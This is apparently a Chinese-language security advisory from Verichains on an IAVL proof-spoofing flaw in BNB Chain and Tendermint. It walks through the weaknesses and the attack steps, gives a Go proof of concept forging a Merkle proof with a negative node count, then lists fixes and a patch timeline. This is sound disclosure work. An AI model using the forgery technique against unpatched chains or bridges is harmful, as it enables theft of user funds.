該公告重點介紹了 Verichains 在BNB鍊和 Tendermint 代碼庫中發現的多個漏洞所引發的嚴重 IAVL 欺騙攻擊。
攻擊者可能會發起 IAVL 欺騙攻擊,通過利用本公告中描述的弱點鏈,導致與之前的黑客攻擊類似的重大資金損失。我們私下向BNB Chain披露了該問題,並於當天迅速修復了該問題。由於這一努力,沒有發生惡意利用,也沒有損失資金。
概括
BNB Smart Chain (BSC) 實現了許多專用的內置系統機制來輔助跨鏈橋接。為了確保鏈間提交的 Merkle 證明有效,BSC 使用了一些來自 Tendermint 和 Cosmos 的 IAVL + Merkle Tree 實現。 IAVL Tree 用於證明或反駁跨鏈交易和相應有效負載哈希的存在。
2022 年 10 月 6 日,由於代碼中 IAVL 的 RangeProof 驗證漏洞, BNB Chain 的跨鏈橋被利用非法發行 200 萬枚BNB,價值約 5.66 億美元。
2022 年 10 月 11 日,Verichains 在 BSC 和 Tendermint (`ValueOp`) 的 `merkle.SimpleValueOp` 中發現了一個新的嚴重問題。在驗證輸入的鍵值對後,這個“ProofOp”可能會輸出一個零根哈希。在 BSC 中,攻擊者可以通過在 BSC 鏈剛剛建立時在 BC 高度使用多存儲證明來欺騙輕客戶端接受任何子存儲(在我們的例子中是 `ibc` 子存儲)的任意鍵值對已部署(因此 IBC 子存儲根哈希為零)。
我們私下向BNB Chain披露了該問題,並於當天迅速修復了該問題。由於這一努力,沒有發生惡意利用,也沒有損失資金。
由於此公告強調了在 Tendermint 中發現的安全問題,我們決定按照我們的漏洞披露政策等待 120 天,然後再與VSA-2022-100一起向公眾發布。我們敦促所有仍在使用 Tendermint 的 IAVL 證明驗證的項目採取必要措施來保護其資產並降低被利用的風險。
分析
導致這種攻擊的代碼庫中有幾個弱點:
唯一使用的證明結構是“[ProofOpIAVLValue, ProofOpMultiStore]”。但是,這種結構並沒有強制執行,因為對“ProofOps”列表的長度和每個“ProofOp”的類型沒有限制。未使用的 `ProofOp` 類型,例如 `ProofOpSimpleValue` 也在運行時註冊:
func DefaultProofRuntime() (prt *merkle.ProofRuntime) { prt = merkle.NewProofRuntime() prt.RegisterOpDecoder(merkle.ProofOpSimpleValue, merkle.SimpleValueOpDecoder) prt.RegisterOpDecoder(iavl.ProofOpIAVLValue, iavl.IAVLValueOpDecoder) prt.RegisterOpDecoder(iavl.ProofOpIAVLAbsence, iavl.IAVLAbsenceOpDecoder) prt.RegisterOpDecoder(ProofOpMultiStore, MultiStoreProofOpDecoder) return }在多存儲證明中,CommitID 中子存儲的根哈希允許為 nil(它只是一個 Golang 字節片)。空子商店的哈希值不應為 nil,因為定義無哈希值始終是一個好習慣:
type CommitID struct { Version int64 Hash []byte }在驗證輸入鍵值對後,`ProofOpSimpleValue` 返回一個零根哈希,而不是在意外輸入時引發錯誤(例如,樹的節點數為負數)。這類似於VSA-2022-100中報告的 Tendermint 中的“ProofOpValue”錯誤:
func computeHashFromAunts(index int, total int, leafHash []byte, innerHashes [][]byte) []byte { if index >= total || index < 0 || total <= 0 { return nil }結合這些弱點來誘騙輕客戶端接受任何子存儲(在我們的例子中是 `ibc` 子存儲)的任意鍵值對是很簡單的:
在子存儲為空(其根哈希為 nil)的高度找到有效證明。
保持 multistore 證明部分不變。
將 `ProofOpIAVLValue` 替換為 `ProofOpSimpleValue`,其中 `SimpleProof.LeafHash` 是我們選擇的鍵值對的哈希值,`SimpleProof.Total` 為 -1。
開發
這是一個演示攻擊的 PoC:
package main import ( "bytes" "encoding/hex" "github.com/ethereum/go-ethereum/core/vm/lightclient" goanimo "github.com/tendermint/go-amino" "github.com/tendermint/tendermint/crypto/merkle" "github.com/tendermint/tendermint/crypto/tmhash" "log" ) func main() { // multistore proof at BC height 110000000 // at that height ibc hash should be nil height := 110000000 inputHex := "" input, err := hex.DecodeString(inputHex) if err != nil { panic(err) } op, err := lightclient.MultiStoreProofOpDecoder(merkle.ProofOp{Type: "multistore", Key: []byte("ibc"), Data: input}) if err != nil { panic(err) } appHash := op.(lightclient.MultiStoreProofOp).Proof.ComputeRootHash() log.Printf("expected appHash at %d (maybe +1, not sure): %s \n ", height, hex.EncodeToString(appHash)) // fake key-value pair and its hash key := []byte{0x13, 0x37} value := []byte{0x13, 0x37} vhash := tmhash.Sum(value) bz := new(bytes.Buffer) _ = goanimo.EncodeByteSlice(bz, key) // does not error _ = goanimo.EncodeByteSlice(bz, vhash) kvhash := tmhash.Sum(append([]byte{0}, bz.Bytes() ... )) // this proofOp will be verified correctly and output a nil root hash which matches ibc hash at the chosen height. op2 := merkle.NewSimpleValueOp(key, &merkle.SimpleProof{ LeafHash: kvhash, Total: -1, }) fakeKVMP := lightclient.KeyValueMerkleProof{ Key: key, Value: value, StoreName: "ibc", AppHash: appHash, Proof: &merkle.Proof{Ops: []merkle.ProofOp{op2.ProofOp(), op.ProofOp()}}, } // should be evaluated to true log.Println(fakeKVMP.Validate()) }受影響的產品
BNB鏈(2022 年 10 月 11 日提交0278f6876e9077d050b518a502442875ae0ccb0c之前的所有版本)
建議
不要在函數“DefaultProofRuntime”中為“ProofOpSimpleValue”和“ProofOpIAVLAbsence”註冊解碼器,因為它們未被使用。根據其在“ProofOps”證明列表中的索引檢查每個“ProofOp”的類型也很好。
考慮為一個空的子商店定義一個散列(可能會導致不兼容)。
我們建議練習安全編碼,在使用輸入之前進行完整性檢查,這樣用戶無論如何使用第三方代碼都不會被利用。
致謝
我們感謝BNB Chain 安全和開發團隊迅速努力解決BNB Chain 代碼庫中發現的漏洞。
時間線
2022 年 10 月 11 日:私下向BNB Chain 團隊匯報
2022 年 10 月 11 日: BNB Chain 開發團隊發布補丁修復問題( https://github.com/bnb-chain/bsc/pull/1121/commits/0278f6876e9077d050b518a 502442875ae0ccb0c )
2023 年 2 月 28 日:公開發布
==============
關於 Verichains
自 2017 年以來,Verichains 一直是亞太地區先驅和領先的區塊鏈安全公司,在安全、密碼學和核心區塊鏈技術方面擁有廣泛的專業知識。超過 200 家客戶委託我們保護 500 億美元的資產,其中包括BNB Chain、Klaytn、Wemix、 多鏈、Line Corp、Axie Infinity、Ronin Network 和 Kyber Network 等知名客戶。
我們世界一流的安全和密碼學研究團隊在第 1 層協議、加密庫、網橋和智能合約中發現了多個漏洞。我們也很自豪能夠成為幫助調查、根本原因分析和解決全球最大的兩個加密黑客攻擊的安全問題的公司: BNB Chain Bridge 和 Ronin Bridge (Sky Mavis)。
隨著對區塊鏈技術的深入研發,Verichains提供區塊鏈協議和智能合約安全審計、移動應用保護、密鑰管理解決方案、鏈上風險監控、紅隊/滲透測試等區塊鏈安全服務。
主頁:https: //www.verichains.io
郵箱:info@verichains.io
推特:https: //twitter.com/Verichains
領英:https: //www.linkedin.com/company/verichains
臉書:https: //facebook.com/verichains
電報:https: //t.me/+Y29xcaxJLJxjNDVl





